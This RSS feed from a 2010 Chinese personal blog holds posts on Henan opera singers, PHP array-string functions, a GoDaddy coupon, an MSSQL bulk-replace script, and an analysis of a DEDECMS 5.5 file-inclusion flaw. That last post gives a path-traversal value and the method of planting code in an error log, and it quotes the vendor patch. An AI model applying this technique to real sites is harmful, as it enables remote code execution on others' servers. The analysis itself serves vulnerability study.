<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>lixiaopeng&#039;s blog</title>
	<atom:link href="http://www.lixiaopeng.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lixiaopeng.org</link>
	<description>这个世界好YD!</description>
	<lastBuildDate>Sat, 21 Aug 2010 03:28:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>赵辉和朱坤芳 豫剧两位红脸王</title>
		<link>http://www.lixiaopeng.org/zhao-hui-wang-and-zhu-kunfang-opera-2-cop/</link>
		<comments>http://www.lixiaopeng.org/zhao-hui-wang-and-zhu-kunfang-opera-2-cop/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 21:19:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[随笔]]></category>
		<category><![CDATA[唐玉成]]></category>
		<category><![CDATA[朱坤芳]]></category>
		<category><![CDATA[杨启超]]></category>
		<category><![CDATA[豫剧]]></category>
		<category><![CDATA[赵辉]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1379</guid>
		<description><![CDATA[嘿嘿，跟超哥去虞城玩，认识了这两位老哥赵辉和朱坤芳，赵辉被人称为红脸怪五，而朱坤芳被人称为红脸王，虽然我对戏曲不是很懂，不过不管在戏台上还是饭桌上，两位老哥哥给我的感觉都是非常的好，对戏曲的非常的热爱，非常的义气，和蔼好相处。。。 嘿嘿，偶帮他们去发了一下百度的词条。。 赵辉：豫剧红脸王第三代传人，杨启超的弟子，被人誉为豫东红脸怪王。演唱剧目：⑴、《反徐州》【堂口】一折；⑵、《火烧纪信》一折。 赵辉。人送外号：红脸怪王。河南虞城人，国家一级演员。豫东唐门第三代传人，杨启超亲传弟子。曾在1990年商丘地区汇演中演唱（反徐州）获得一等奖。 现在，河南省‘红脸王’豫剧团担任主要演员。 所谓人怪艺更怪,精彩真不赖,行韵流水情,舞台展异彩 朱坤芳：八大豫剧红脸王之称的青年演员，唐玉成的三代传人，杨启超弟子。演唱剧目：⑴、《两狼山》选段；⑵、和曹君秋联合演出《刘庸下南京》【抢棺材】一折。 朱坤芳出身于梨园之家，他的父亲朱瑞杰先生就是当年红脸王唐玉成教导的弟子。朱坤芳毕业于商丘戏校，自幼就开始和红脸王开山鼻祖唐玉成大师的大弟子奶师李克让学习，后来到红脸王唐玉成的虞城县豫剧团拜师杨启超．最后，又和＂白三＂＂白四＂学习发音唱腔，行成独特的风韵，如他在＜杨家将＞中的唱段在他老师杨启超的基础上又加以创新：发出大本和二本强强结合，从而形成了独特的韵味。他的＜火烧纪信＞＜ 泗水王＞＜ 哭头＞＜ 反徐州＞ 等这些哭戏更是精妙绝伦。 朱坤芳是 红脸王祖师唐玉成的三代传人， 杨启超是老师， 李克让是奶师． 唐门最有名气的二代传人是这些：杨启超　 刘玉龙 朱勤堂 潘玉成 汪振堂 白三 白四 李克让 等。 您可能对以下文章有兴趣↓No Related Post]]></description>
			<content:encoded><![CDATA[<p>嘿嘿，跟超哥去虞城玩，认识了这两位老哥赵辉和朱坤芳，赵辉被人称为红脸怪五，而朱坤芳被人称为红脸王，虽然我对戏曲不是很懂，不过不管在戏台上还是饭桌上，两位老哥哥给我的感觉都是非常的好，对戏曲的非常的热爱，非常的义气，和蔼好相处。。。<br />
嘿嘿，偶帮他们去发了一下<a href="http://www.baidu.com"  class="alinks_links" onclick="return alinks_click(this);" title="&#30334;&#24230;"  style="padding-right: 13px; background: url(http://www.lixiaopeng.org/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">百度</a>的词条。。</p>
<p>赵辉：豫剧红脸王第三代传人，杨启超的弟子，被人誉为豫东红脸怪王。演唱剧目：⑴、《反徐州》【堂口】一折；⑵、《火烧纪信》一折。<br />
赵辉。人送外号：红脸怪王。河南虞城人，国家一级演员。豫东唐门第三代传人，杨启超亲传弟子。曾在1990年商丘地区汇演中演唱（反徐州）获得一等奖。<br />
现在，河南省‘红脸王’豫剧团担任主要演员。<br />
所谓人怪艺更怪,精彩真不赖,行韵流水情,舞台展异彩</p>
<p>朱坤芳：八大豫剧红脸王之称的青年演员，唐玉成的三代传人，杨启超弟子。演唱剧目：⑴、《两狼山》选段；⑵、和曹君秋联合演出《刘庸下南京》【抢棺材】一折。<br />
朱坤芳出身于梨园之家，他的父亲朱瑞杰先生就是当年红脸王唐玉成教导的弟子。朱坤芳毕业于商丘戏校，自幼就开始和红脸王开山鼻祖唐玉成大师的大弟子奶师李克让学习，后来到红脸王唐玉成的虞城县豫剧团拜师杨启超．最后，又和＂白三＂＂白四＂学习发音唱腔，行成独特的风韵，如他在＜杨家将＞中的唱段在他老师杨启超的基础上又加以创新：发出大本和二本强强结合，从而形成了独特的韵味。他的＜火烧纪信＞＜ 泗水王＞＜ 哭头＞＜ 反徐州＞ 等这些哭戏更是精妙绝伦。<br />
朱坤芳是 红脸王祖师唐玉成的三代传人， 杨启超是老师， 李克让是奶师．<br />
唐门最有名气的二代传人是这些：杨启超　 刘玉龙 朱勤堂 潘玉成 汪振堂 白三 白四 李克让 等。</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li>No Related Post</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/zhao-hui-wang-and-zhu-kunfang-opera-2-cop/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP 数组和字符串互相转换</title>
		<link>http://www.lixiaopeng.org/php-arrays-and-strings-interchangeable/</link>
		<comments>http://www.lixiaopeng.org/php-arrays-and-strings-interchangeable/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 00:04:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[explode]]></category>
		<category><![CDATA[implode]]></category>
		<category><![CDATA[字符串]]></category>
		<category><![CDATA[数组]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1377</guid>
		<description><![CDATA[PHP 中由于数组和字符串这两种变量类型是如此常用，以至于 PHP 具有两个函数，可以在字符串和数组之间互相进行转换。 　　$array=explode(separator,$string); 　　$string=implode(glue,$array); 　　使用和理解这两个函数的关键之处是分隔符（separator）和胶合符（glue）关系。当把一个数组转换成一个字符串时，将会设置胶合符——将被插入到生成字符串中的数组值之间的字符或代码。相反，当把字符串转换成数组时，要指定分隔符，它用于标记什么应该变成独立数组元素。例如，以字符串开始： 　　$s1=’Mon-Tue-Wed-Thu-Fri’; 　　$days_array=explode(’-',$s1); 　　$days_array 变量现在是一个有5个元素的数组，其元素 Mon 的索引为0，Tue 的索引为1，等等。 　　$s2=implode(’,',$days_array); 　　$s2 变量现在是一个用逗号分隔的一个星期中各天的列表：Mon,Tue,Wed,Thu,Fri 您可能对以下文章有兴趣↓DVBBS php2.0 注入漏洞PHP的SQL注入PHP编程的一种失误PHP]]></description>
			<content:encoded><![CDATA[<p>PHP 中由于数组和字符串这两种变量类型是如此常用，以至于 PHP 具有两个函数，可以在字符串和数组之间互相进行转换。<br />
　　$array=explode(separator,$string);<br />
　　$string=implode(glue,$array);<br />
　　使用和理解这两个函数的关键之处是分隔符（separator）和胶合符（glue）关系。当把一个数组转换成一个字符串时，将会设置胶合符——将被插入到生成字符串中的数组值之间的字符或代码。相反，当把字符串转换成数组时，要指定分隔符，它用于标记什么应该变成独立数组元素。例如，以字符串开始：<br />
　　$s1=’Mon-Tue-Wed-Thu-Fri’;<br />
　　$days_array=explode(’-',$s1);<br />
　　$days_array 变量现在是一个有5个元素的数组，其元素 Mon 的索引为0，Tue 的索引为1，等等。<br />
　　$s2=implode(’,',$days_array);<br />
　　$s2 变量现在是一个用逗号分隔的一个星期中各天的列表：Mon,Tue,Wed,Thu,Fri</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/dvbbs-php2-0-injection-vulnerability/" title="DVBBS php2.0 注入漏洞">DVBBS php2.0 注入漏洞</a></li><li><a href="http://www.lixiaopeng.org/sql-injection-in-php/" title="PHP的SQL注入">PHP的SQL注入</a></li><li><a href="http://www.lixiaopeng.org/a-php-programming-mistakes/" title="PHP编程的一种失误">PHP编程的一种失误</a></li><li><a href="http://www.lixiaopeng.org/php/" title="PHP <= 5.2.9 SafeMod Bypass Vulnerability ">PHP <= 5.2.9 SafeMod Bypass Vulnerability </a></li><li><a href="http://www.lixiaopeng.org/when-magic_quotes_gpc-off/" title="当magic_quotes_gpc=off">当magic_quotes_gpc=off</a></li><li><a href="http://www.lixiaopeng.org/magic_quotes_sybase-and-magic_quotes_gpc/" title="magic_quotes_sybase and magic_quotes_gpc">magic_quotes_sybase and magic_quotes_gpc</a></li><li><a href="http://www.lixiaopeng.org/tinyurl-api-using-the-php-method-call/" title="使用PHP调用TinyURL API的方法">使用PHP调用TinyURL API的方法</a></li><li><a href="http://www.lixiaopeng.org/mystery-of-php-security-php-undergroud-security/" title="php安全之谜(PHP Undergroud Security)">php安全之谜(PHP Undergroud Security)</a></li><li><a href="http://www.lixiaopeng.org/php-google-hack-keywords/" title="php google hack 关键字">php google hack 关键字</a></li><li><a href="http://www.lixiaopeng.org/produced-by-a-static-php-site-template-framework/" title="用PHP制作静态网站的模板框架">用PHP制作静态网站的模板框架</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/php-arrays-and-strings-interchangeable/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>续费.Org 域名Godaddy优惠码</title>
		<link>http://www.lixiaopeng.org/renewals-org-domain-names-godaddy-promo-code/</link>
		<comments>http://www.lixiaopeng.org/renewals-org-domain-names-godaddy-promo-code/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 04:49:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[其它]]></category>
		<category><![CDATA[.Org]]></category>
		<category><![CDATA[GODADDY]]></category>
		<category><![CDATA[优惠码]]></category>
		<category><![CDATA[续费]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/renewals-org-domain-names-godaddy-promo-code/</guid>
		<description><![CDATA[EMFB7 支付总价： $7.49美元+0.18税 = $7.67美元 到期时间：未知 您可能对以下文章有兴趣↓国内域名注册服务停止对个人开放Live Domains在GoDaddy.com 创建 MX/DNS/SRV 记录关掉Godaddy自动续费域名lixiaopeng.org成功转入Godaddylixiaopeng.org申请转入GODADDY了]]></description>
			<content:encoded><![CDATA[<p>EMFB7<br />
支付总价： $7.49美元+0.18税 = $7.67美元<br />
到期时间：未知</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/domestic-domain-name-registration-service-to-stop-individuals-with-access-to/" title="国内域名注册服务停止对个人开放">国内域名注册服务停止对个人开放</a></li><li><a href="http://www.lixiaopeng.org/live-domains-at-godaddycom-create-mx-dns-srv-records/" title="Live Domains在GoDaddy.com 创建 MX/DNS/SRV 记录">Live Domains在GoDaddy.com 创建 MX/DNS/SRV 记录</a></li><li><a href="http://www.lixiaopeng.org/switch-off-automatically-renew-godaddy/" title="关掉Godaddy自动续费">关掉Godaddy自动续费</a></li><li><a href="http://www.lixiaopeng.org/godaddy-domain-name-into-lixiaopengorg-success/" title="域名lixiaopeng.org成功转入Godaddy">域名lixiaopeng.org成功转入Godaddy</a></li><li><a href="http://www.lixiaopeng.org/lixiaopengorg-apply-to-transfer-to-the-godaddy/" title="lixiaopeng.org申请转入GODADDY了">lixiaopeng.org申请转入GODADDY了</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/renewals-org-domain-names-godaddy-promo-code/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mssql批量替换整个数据库</title>
		<link>http://www.lixiaopeng.org/mssql-bulk-replacement-of-the-entire-database/</link>
		<comments>http://www.lixiaopeng.org/mssql-bulk-replacement-of-the-entire-database/#comments</comments>
		<pubDate>Sun, 16 May 2010 09:03:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[SQL]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[替换]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1372</guid>
		<description><![CDATA[1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="sql" style="font-family:monospace;">declare @Str1 varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #993333; font-weight: bold;">SET</span> @Str1<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'参数1'</span>
declare @Str2 varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #993333; font-weight: bold;">SET</span> @Str2<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'参数2'</span>
&nbsp;
&nbsp;
<span style="color: #993333; font-weight: bold;">SET</span> nocount <span style="color: #993333; font-weight: bold;">ON</span>
&nbsp;
&nbsp;
declare @tableName nvarchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@columnName nvarchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@tbID int<span style="color: #66cc66;">,</span>@iRow int<span style="color: #66cc66;">,</span>@iResult int
declare @sql nvarchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">500</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #993333; font-weight: bold;">SET</span> @iResult<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span>
declare cur cursor <span style="color: #993333; font-weight: bold;">FOR</span>
<span style="color: #993333; font-weight: bold;">SELECT</span> name<span style="color: #66cc66;">,</span>id <span style="color: #993333; font-weight: bold;">FROM</span> sysobjects <span style="color: #993333; font-weight: bold;">WHERE</span> xtype<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'U'</span>
&nbsp;
&nbsp;
open cur
fetch next <span style="color: #993333; font-weight: bold;">FROM</span> cur <span style="color: #993333; font-weight: bold;">INTO</span> @tableName<span style="color: #66cc66;">,</span>@tbID
&nbsp;
&nbsp;
while @@fetch_status<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span>
begin
declare cur1 cursor <span style="color: #993333; font-weight: bold;">FOR</span>
        <span style="color: #808080; font-style: italic;">--xtype in (231,167,239,175,99) 为char,varchar,nchar,nvarchar,ntext类型</span>
        <span style="color: #993333; font-weight: bold;">SELECT</span> name <span style="color: #993333; font-weight: bold;">FROM</span> syscolumns <span style="color: #993333; font-weight: bold;">WHERE</span> xtype <span style="color: #993333; font-weight: bold;">IN</span> <span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">231</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">167</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">239</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">175</span><span style="color: #66cc66;">,</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AND</span> id<span style="color: #66cc66;">=</span>@tbID
open cur1
fetch next <span style="color: #993333; font-weight: bold;">FROM</span> cur1 <span style="color: #993333; font-weight: bold;">INTO</span> @columnName
while @@fetch_status<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">0</span>
begin
      <span style="color: #993333; font-weight: bold;">SET</span> @sql<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'update ['</span> <span style="color: #66cc66;">+</span> @tableName <span style="color: #66cc66;">+</span> <span style="color: #ff0000;">'] set ['</span><span style="color: #66cc66;">+</span> @columnName <span style="color: #66cc66;">+</span><span style="color: #ff0000;">']= replace(cast(['</span><span style="color: #66cc66;">+</span>@columnName<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'] as varchar(8000)),'</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>@Str1<span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">','</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">+</span>@Str2<span style="color: #66cc66;">+</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">') where ['</span><span style="color: #66cc66;">+</span>@columnName<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'] like '</span><span style="color: #ff0000;">'%'</span><span style="color: #66cc66;">+</span>@Str1<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'%'</span><span style="color: #ff0000;">''</span> 
      <span style="color: #808080; font-style: italic;">--update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。</span>
      exec sp_executesql @sql     
      <span style="color: #993333; font-weight: bold;">SET</span> @iRow<span style="color: #66cc66;">=</span>@@rowcount
      <span style="color: #993333; font-weight: bold;">SET</span> @iResult<span style="color: #66cc66;">=</span>@iResult<span style="color: #66cc66;">+</span>@iRow
      <span style="color: #993333; font-weight: bold;">IF</span> @iRow<span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span>
      begin
print <span style="color: #ff0000;">'表：'</span><span style="color: #66cc66;">+</span>@tableName<span style="color: #66cc66;">+</span><span style="color: #ff0000;">',列:'</span><span style="color: #66cc66;">+</span>@columnName<span style="color: #66cc66;">+</span><span style="color: #ff0000;">'被更新'</span><span style="color: #66cc66;">+</span>convert<span style="color: #66cc66;">&#40;</span>varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@iRow<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">'条记录;'</span>
      end     
      fetch next <span style="color: #993333; font-weight: bold;">FROM</span> cur1 <span style="color: #993333; font-weight: bold;">INTO</span> @columnName
&nbsp;
&nbsp;
&nbsp;
end
close cur1
deallocate cur1
&nbsp;
&nbsp;
fetch next <span style="color: #993333; font-weight: bold;">FROM</span> cur <span style="color: #993333; font-weight: bold;">INTO</span> @tableName<span style="color: #66cc66;">,</span>@tbID
end
print <span style="color: #ff0000;">'数据库共有'</span><span style="color: #66cc66;">+</span>convert<span style="color: #66cc66;">&#40;</span>varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span>@iResult<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">+</span><span style="color: #ff0000;">'条记录被更新!!!'</span>
&nbsp;
&nbsp;
close cur
deallocate cur
<span style="color: #993333; font-weight: bold;">SET</span> nocount off</pre></td></tr></table></div>

<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/mssql-bcp-usage/" title="MSSQL bcp用法">MSSQL bcp用法</a></li><li><a href="http://www.lixiaopeng.org/remote-backup-using-mysql-database-mysqldump/" title="用mysqldump远程备份mysql数据库">用mysqldump远程备份mysql数据库</a></li><li><a href="http://www.lixiaopeng.org/editplus-regular-expression-string-replacement-detailed/" title="EditPlus正则表达式替换字符串详解">EditPlus正则表达式替换字符串详解</a></li><li><a href="http://www.lixiaopeng.org/to-mssql-command-of-sa-privileges-methods/" title="[转]mssql的sa权限执行命令方法总结">[转]mssql的sa权限执行命令方法总结</a></li><li><a href="http://www.lixiaopeng.org/mssql-pass-into-the-killing-as-long-as-there-is-into-the-points-system-privileges/" title="MSSQL注入通杀，只要有注入点就有系统权限">MSSQL注入通杀，只要有注入点就有系统权限</a></li><li><a href="http://www.lixiaopeng.org/mssql-injection-of-union-access-to-data-in-a-number-of-studies/" title="对mssql注射中union获取数据的一些研究">对mssql注射中union获取数据的一些研究</a></li><li><a href="http://www.lixiaopeng.org/the-use-of-injection-site-to-determine-whether-the-separation-of-web-database-2/" title="利用注射点判断数据库web是否分离">利用注射点判断数据库web是否分离</a></li><li><a href="http://www.lixiaopeng.org/access-database-using-asp-compression/" title="用ASP压缩ACCESS数据库">用ASP压缩ACCESS数据库</a></li><li><a href="http://www.lixiaopeng.org/asp-listed-in-the-database-of-all-table/" title="ASP列出数据库中的所有表">ASP列出数据库中的所有表</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/mssql-bulk-replacement-of-the-entire-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>分析DEDECMS 5.5 datalistcp.class.php 包含</title>
		<link>http://www.lixiaopeng.org/analysis-dedecms-5-5-datalistcp-class-php-contains/</link>
		<comments>http://www.lixiaopeng.org/analysis-dedecms-5-5-datalistcp-class-php-contains/#comments</comments>
		<pubDate>Sat, 03 Apr 2010 15:38:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵]]></category>
		<category><![CDATA[datalistcp.class.php]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[DEDECMS 5.5]]></category>
		<category><![CDATA[mysql_error_trace.inc]]></category>
		<category><![CDATA[包含]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1370</guid>
		<description><![CDATA[作者:st0p 转载请注明出处 http://www.st0p.org 老早就看到有人发的洞，一直想过写分析来着，最近一直呆在UBUNTU下安装东西。。老忘。。。 有时有些朋友加我，教他找洞。。。这个好似是个累活，而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧，也方便我自己学习。 具体的EXP，请看：http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html 以前呢，DEDECMS会把出错的SQL信息，写进mysql_error_trace.php，后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。 没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。 这个EXP的原理呢，是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc，当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。 关键代码存在于 /include/datalistcp.class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... $codefile = &#40;isset&#40;$needCode&#41; ? $needCode : $cfg_soft_lang&#41;; &#160; //通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang //当我们伪造结果为aa/../../../data/mysql_error_trace时 &#160; if&#40;file_exists&#40;DEDEINC.'/code/datalist.'.$codefile.'.inc'&#41;&#41; &#160; &#123; &#160; require_once&#40;DEDEINC.'/code/datalist.'.$codefile.'.inc'&#41;; //后缀是.inc &#125; //检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc //成功运行我们mysql_error_trace.inc在构造的语句。。。 ... 郁闷，前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补 1 2 3 4 5 [...]]]></description>
			<content:encoded><![CDATA[<p>作者:st0p<br />
转载请注明出处 http://www.st0p.org</p>
<p>老早就看到有人发的洞，一直想过写分析来着，最近一直呆在UBUNTU下安装东西。。老忘。。。<br />
有时有些朋友加我，教他找洞。。。这个好似是个累活，而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧，也方便我自己学习。<br />
具体的EXP，请看：<a href="http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html">http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html</a></p>
<p>以前呢，DEDECMS会把出错的SQL信息，写进mysql_error_trace.php，后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。<br />
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。</p>
<p>这个EXP的原理呢，是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc，当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。<br />
关键代码存在于</p>
<p>/include/datalistcp.class.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">...</span>
<span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needCode</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$needCode</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$cfg_soft_lang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//通过isset函数检查$needCode是否已配置，如已配置则结果为$needCode，否则结果为$cfg_soft_lang</span>
<span style="color: #666666; font-style: italic;">//当我们伪造结果为aa/../../../data/mysql_error_trace时</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #666666; font-style: italic;">//后缀是.inc</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">//检查文件是否存在，存在则包含。我们通过../成功跳转到到data目录，包含我们刚才构造过的mysql_error_trace.inc</span>
<span style="color: #666666; font-style: italic;">//成功运行我们mysql_error_trace.inc在构造的语句。。。</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>郁闷，前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needCode</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$needCode</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$cfg_soft_lang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$codefile</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/[\w-]/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$codefile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #666666; font-style: italic;">//通过正则过滤了。。。</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>DEDEINC<span style="color: #339933;">.</span><span style="color: #0000ff;">'/code/datalist.'</span><span style="color: #339933;">.</span><span style="color: #000088;">$codefile</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.inc'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

